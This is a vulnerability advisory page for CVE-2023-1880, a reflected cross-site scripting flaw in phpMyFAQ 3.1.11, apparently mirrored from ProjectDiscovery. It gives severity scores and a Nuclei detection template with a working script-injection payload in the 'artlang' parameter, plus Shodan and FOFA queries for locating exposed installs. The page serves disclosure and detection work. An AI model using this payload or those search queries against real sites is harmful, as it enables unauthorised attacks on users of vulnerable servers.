Phpmyfaq v3.1.11 - Cross-Site Scripting

2023-10-1707:20:28

ProjectDiscovery

github.com

cve2023

huntr

xss

phpmyfaq

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

7.9 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

44.2%

JSON

Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.

id: CVE-2023-1880

info:
  name: Phpmyfaq v3.1.11 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.
  remediation: Fixed in 3.1.12 Version.
  reference:
    - https://huntr.dev/bounties/ece5f051-674e-4919-b998-594714910f9e
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1880
    - https://github.com/thorsten/phpmyfaq/commit/bbc5d4aa4a4375c14e34dd9fcad2042066fe476d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1880
    cwe-id: CWE-79
    epss-score: 0.00109
    epss-percentile: 0.43829
    cpe: cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpmyfaq
    product: phpmyfaq
    shodan-query: http.html:"phpmyfaq"
    fofa-query: body="phpmyfaq"
  tags: cve2023,cve,huntr,xss,phpmyfaq

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=send2friend&artlang=aaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "phpmyfaq") && contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a0047304502207503b527466102b06d1c2f395825c0aca20799fada79e374c81107610a59fd5b0221009a08b4c9cc566145837f677b18194b727a2de191f337726664826007510b98ea:922c64590222798bb761d5b6d8e72950